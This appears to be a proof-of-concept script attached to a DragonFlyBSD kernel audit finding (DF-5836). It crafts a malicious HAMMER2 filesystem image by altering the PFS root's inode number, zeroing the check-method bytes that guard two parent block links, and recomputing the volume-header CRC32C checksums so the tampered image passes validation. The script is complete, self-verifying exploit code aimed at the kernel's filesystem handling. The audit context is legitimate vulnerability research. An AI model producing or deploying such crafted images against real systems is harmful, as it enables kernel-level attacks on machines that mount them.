⬢ DragonFlyBSD Kernel Audit
DF-5836 / craft_image.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-5836 crafted-image patcher (final, self-verifying).
Input : pristine image (h2.orig.img) with origfile at inum 1024
Output: image whose TESTFS PFS-root meta.pfs_inum = 1023,
        check-codes disabled on the two modified parent links,
        all three volume-header CRC32Cs recomputed.
"""
import struct, sys
POLY = 0x82F63B78; T = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ POLY if c & 1 else c >> 1
    T.append(c)
def crc32c(d):
    crc = 0xFFFFFFFF
    for b in d:
        crc = (crc >> 8) ^ T[(crc ^ b) & 0xFF]
    return crc ^ 0xFFFFFFFF
assert crc32c(b"123456789") == 0xE3069283

src, dst = sys.argv[1], sys.argv[2]
IMG = bytearray(open(src, "rb").read())

IROOT   = 0x8800c00          # TESTFS PFS-root inode block (verified earlier)
SUPER   = 0x8801000          # superroot inode block
SR_METHODS_VH  = 0x200 + 1   # volheader.sroot_blockset.blockref[0].methods
SR_METHODS_BLK = SUPER + 0x100 + 2 * 128 + 1   # superroot.u.blockset.blockref[2].methods

# sanity: pristine state
assert struct.unpack("<Q", IMG[IROOT+0x88:IROOT+0x90])[0] == 1026
assert IMG[SR_METHODS_VH] != 0 and IMG[SR_METHODS_BLK] != 0

IMG[IROOT+0x88:IROOT+0x90] = struct.pack("<Q", 1023)   # pfs_inum
IMG[SR_METHODS_VH] = 0x00      # disable check on superroot link (volheader copy)
IMG[SR_METHODS_BLK] = 0x00     # disable check on iroot link (superroot data)

def w32(off, v): IMG[off:off+4] = struct.pack("<I", v)
def u32(off): return struct.unpack("<I", IMG[off:off+4])[0]
w32(0x1F8,  crc32c(IMG[0x200:0x400]))    # icrc_sects[6]
w32(0x1FC,  crc32c(IMG[0x000:0x1FC]))    # icrc_sects[7]
w32(0xFFFC, crc32c(IMG[0x000:0xFFFC]))   # icrc_volheader (LAST 4 bytes of 64KB)

assert u32(0x1F8)  == crc32c(IMG[0x200:0x400])
assert u32(0x1FC)  == crc32c(IMG[0x000:0x1FC])
assert u32(0xFFFC) == crc32c(IMG[0x000:0xFFFC])
# volu_loff untouched
assert IMG[0xFF0:0x1000] == b"\xff" * 16, "volu_loff clobbered"

open(dst, "wb").write(IMG)
chk = open(dst, "rb").read(0x10000)
assert struct.unpack("<I", chk[0x1F8:0x1FC])[0] == crc32c(chk[0x200:0x400])
assert struct.unpack("<I", chk[0x1FC:0x200])[0] == crc32c(chk[0x000:0x1FC])
assert struct.unpack("<I", chk[0xFFFC:0x10000])[0] == crc32c(chk[0x000:0xFFFC])
print("patched OK: pfs_inum=1023, methods=00/00, CRCs verified; vh=%08x" % u32(0xFFFC))